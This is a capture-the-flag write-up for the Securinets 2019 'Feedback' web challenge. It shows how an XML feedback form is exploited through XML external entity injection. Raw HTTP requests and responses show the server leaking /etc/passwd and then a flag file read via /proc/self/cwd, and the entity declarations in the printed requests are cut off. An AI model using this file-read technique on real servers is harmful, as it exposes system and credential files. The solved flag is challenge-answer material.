# Securinets Prequals CTF 2019 – Feedback
* **Category:** Web* **Points:** 731
## Challenge
> I created this website to get your feedback on our CTF.>> Can you check if it's secure ?>> https://web2.ctfsecurinets.com/>> Author:Tr'GFx
## Solution
The website contains a feedback form. Analyzing the source code, you will discover that feedback is sent via XML messages composed by JavaScript.
```javascript<script type="text/javascript">function func(){    var xml = '' +        '' +        '<feedback>' +        '<author>' + $('input[name="name"]').val() + '</author>' +        '<email>' + $('input[name="email"]').val() + '</email>' +        '<content>' + $('input[name="feedback"]').val() + '</content>' +        '</feedback>';    var xmlhttp = new XMLHttpRequest();    xmlhttp.onreadystatechange = function () {        if(xmlhttp.readyState == 4){            console.log(xmlhttp.readyState);            console.log(xmlhttp.responseText);            document.getElementById('Message').innerHTML = xmlhttp.responseText;        }    }    xmlhttp.open("POST","feed.php",true);    xmlhttp.send(xml);};</script>```
The server answers with a thanks message, inserting the author of the feedback in it.
The application is vulnerable to XXE and the `author` field can be used to return the output of the attack.
```POST /feed.php HTTP/1.1Host: web2.ctfsecurinets.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://web2.ctfsecurinets.com/Content-Type: text/plain;charset=UTF-8Content-Length: 206Connection: close
]><feedback><author>&xx;;</author><email>lol</email><content>undefined</content></feedback>
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Sat, 23 Mar 2019 18:49:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeContent-Length: 1114
<h4>Thanks For you Feedback root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falsemysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/falsesimple_user:x:1000:1000::/home/simple_user:/bin/bashDebian-exim:x:102:102::/var/spool/exim4:/bin/false</h4>```
The remote code execution can't be performed.
So, you have to find the current working directory in order to find the flag file. You can abuse `/proc/self/` directory that contains the reference to current working directory: `cwd/`.
Hence the malicious payload is the following.
```POST /feed.php HTTP/1.1Host: web2.ctfsecurinets.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://web2.ctfsecurinets.com/Content-Type: text/plain;charset=UTF-8Content-Length: 214Connection: close
]><feedback><author>&xx;;</author><email>lol</email><content>undefined</content></feedback>
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Sat, 23 Mar 2019 21:27:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeContent-Length: 67
<h4>Thanks For you Feedback Securinets{Xxe_xXE_@Ll_Th3_W@Y}</h4>```
So the flag is the following.
```Securinets{Xxe_xXE_@Ll_Th3_W@Y}```